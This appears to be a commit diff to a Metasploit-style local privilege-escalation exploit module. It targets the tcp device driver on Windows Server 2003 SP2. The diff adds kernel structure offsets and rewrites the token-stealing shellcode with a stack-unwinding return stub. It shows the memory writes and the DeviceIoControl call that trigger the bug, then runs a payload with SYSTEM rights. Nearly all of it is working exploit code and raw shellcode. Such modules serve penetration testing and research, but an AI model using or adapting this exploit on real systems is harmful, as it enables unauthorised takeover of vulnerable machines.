@@ -38,7 +38,14 @@ def initialize(info={})
38
38
} ,
39
39
'Targets' =>
40
40
[
41
- [ 'Windows Server 2003 SP2' , { } ]
41
+ [ 'Windows Server 2003 SP2' ,
42
+ {
43
+ '_KPROCESS' => "\x38 " ,
44
+ '_TOKEN' => "\xd8 " ,
45
+ '_UPID' => "\x94 " ,
46
+ '_APLINKS' => "\x98 "
47
+ }
48
+ ]
42
49
] ,
43
50
'References' =>
44
51
[
@@ -76,19 +83,6 @@ def check
76
83
return Exploit ::CheckCode ::Safe
77
84
end
78
85
79
- def create_proc
80
- windir = session . sys . config . getenv ( 'windir' )
81
- cmd = "#{ windir } \\ System32\\ notepad.exe"
82
- # run hidden
83
- begin
84
- proc = session . sys . process . execute ( cmd , nil , 'Hidden' => true )
85
- rescue Rex ::Post ::Meterpreter ::RequestError
86
- return nil
87
- end
88
-
89
- proc . pid
90
- end
91
-
92
86
def exploit
93
87
if is_system?
94
88
fail_with ( Exploit ::Failure ::None , 'Session is already elevated' )
@@ -104,18 +98,6 @@ def exploit
104
98
fail_with ( Exploit ::Failure ::NotVulnerable , "Exploit not available on this system" )
105
99
end
106
100
107
- p = payload . encoded
108
- new_pid = create_proc
109
-
110
- unless new_pid
111
- fail_with ( Failure ::Unknown , 'Unable to create a new process.' )
112
- end
113
-
114
- print_status ( "Injecting #{ p . length } bytes into #{ new_pid } memory and executing it..." )
115
- unless execute_shellcode ( p , nil , new_pid )
116
- fail_with ( Failure ::Unknown , 'Error while executing the payload' )
117
- end
118
-
119
101
handle = open_device ( '\\\\.\\tcp' , 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , 'OPEN_EXISTING' )
120
102
if handle . nil?
121
103
fail_with ( Failure ::NoTarget , "Unable to open \\ \\ .\\ tcp device" )
@@ -132,41 +114,34 @@ def exploit
132
114
133
115
buf = "\x00 \x04 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x02 \x00 \x00 \x00 \x02 \x00 \x00 \x22 \x00 \x00 \x00 \x04 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 \x00 "
134
116
135
- sc = "\x60 " # save registers
136
- sc << "\x64 \xA1 \x24 \x01 \x00 \x00 " # mov eax, [fs:0x124]
137
- sc << "\x8B \x40 \x38 " # mov eax, [eax+0x38]
138
- sc << "\x50 " # push eax
139
- sc << "\xBB \x04 \x00 \x00 \x00 " # mov ebx, 0x4
140
- sc << "\x8B \x80 \x98 \x00 \x00 \x00 " # mov eax, [eax+0x98]
141
- sc << "\x2D \x98 \x00 \x00 \x00 " # sub eax, 0x98
142
- sc << "\x39 \x98 \x94 \x00 \x00 \x00 " # cmp [eax+0x94], ebx
143
- sc << "\x75 \xED " # jne 0x10
144
- sc << "\x8B \xB8 \xD8 \x00 \x00 \x00 " # mov edi, [eax+0xd8]
145
- sc << "\x83 \xE7 \xF8 " # and edi, 0xfffffff8
146
- sc << "\x58 " # pop eax
147
- sc << "\xBB " # mov ebx, new_pid
148
- sc << [ new_pid ] . pack ( 'V' )
149
- sc << "\x8B \x80 \x98 \x00 \x00 \x00 " # mov eax, [eax+0x98]
150
- sc << "\x2D \x98 \x00 \x00 \x00 " # sub eax, 0x98
151
- sc << "\x39 \x98 \x94 \x00 \x00 \x00 " # cmp [eax+0x94], ebx
152
- sc << "\x75 \xED " # jne 0x32
153
- sc << "\x89 \xB8 \xD8 \x00 \x00 \x00 " # mov [eax+0xd8], edi
154
- sc << "\x61 " # restore registers
155
- sc << "\xBA \x39 \xFF \xA2 \xBA " # mov edx, 0xbaa2ff39
156
- sc << "\xB9 \x00 \x00 \x00 \x00 " # mov ecx, 0x0
157
- sc << "\xB8 \x3B \x00 \x00 \x00 " # mov eax, 0x3b
158
- sc << "\x8E \xE0 " # mov fs, eax
159
- sc << "\x0F \x35 \x00 " # sysexit
160
-
161
- this_proc . memory . write ( 0x28 , "\x87 \xFF \xFF \x38 " )
117
+ sc = token_stealing_shellcode ( target ) [ 0 ..-3 ]
118
+ # move up the stack frames looking for nt!KiSystemServicePostCall
119
+ sc << "\x31 \xc9 " # xor ecx, ecx
120
+ sc << "\x89 \xeb " # mov ebx, ebp
121
+ # count_frames
122
+ sc << "\x41 " # inc ecx
123
+ sc << "\xf7 \x43 \x04 \x00 \x00 \x00 \x80 " # test dword [ebx+4], 0x80000000
124
+ sc << "\x8b \x1b " # mov ebx, dword [ebx]
125
+ sc << "\x75 \xf4 " # jne short count_frames
126
+ sc << "\x49 " # dec ecx
127
+ # loop_frames
128
+ sc << "\x49 " # dec ecx
129
+ sc << "\x89 \xec " # mov esp, ebp
130
+ sc << "\x5d " # pop ebp
131
+ sc << "\x83 \xf9 \x00 " # cmp ecx, 0
132
+ sc << "\x75 \xf7 " # jne loop_frames
133
+ sc << "\x31 \xc0 " # xor eax, eax
134
+ sc << "\xc3 "
135
+
136
+ this_proc . memory . write ( 0x28 , "\x87 \xff \xff \x38 " )
162
137
this_proc . memory . write ( 0x38 , "\x00 \x00 " )
163
138
this_proc . memory . write ( 0x1100 , buf )
164
139
this_proc . memory . write ( 0x2b , "\x00 \x00 " )
165
140
this_proc . memory . write ( 0x2000 , sc )
166
141
167
142
print_status ( "Triggering the vulnerability..." )
168
143
session . railgun . ntdll . NtDeviceIoControlFile ( handle , nil , nil , nil , 4 , 0x00120028 , 0x1100 , buf . length , 0 , 0 )
169
- session . railgun . kernel32 . CloseHandle ( handle )
144
+ # session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it
170
145
171
146
print_status ( "Checking privileges after exploitation..." )
172
147
@@ -175,8 +150,9 @@ def exploit
175
150
end
176
151
177
152
print_good ( "Exploitation successful!" )
178
-
153
+ unless execute_shellcode ( payload . encoded , nil , this_proc . pid )
154
+ fail_with ( Failure ::Unknown , 'Error while executing the payload' )
155
+ end
179
156
end
180
157
181
158
end
182
-
0 commit comments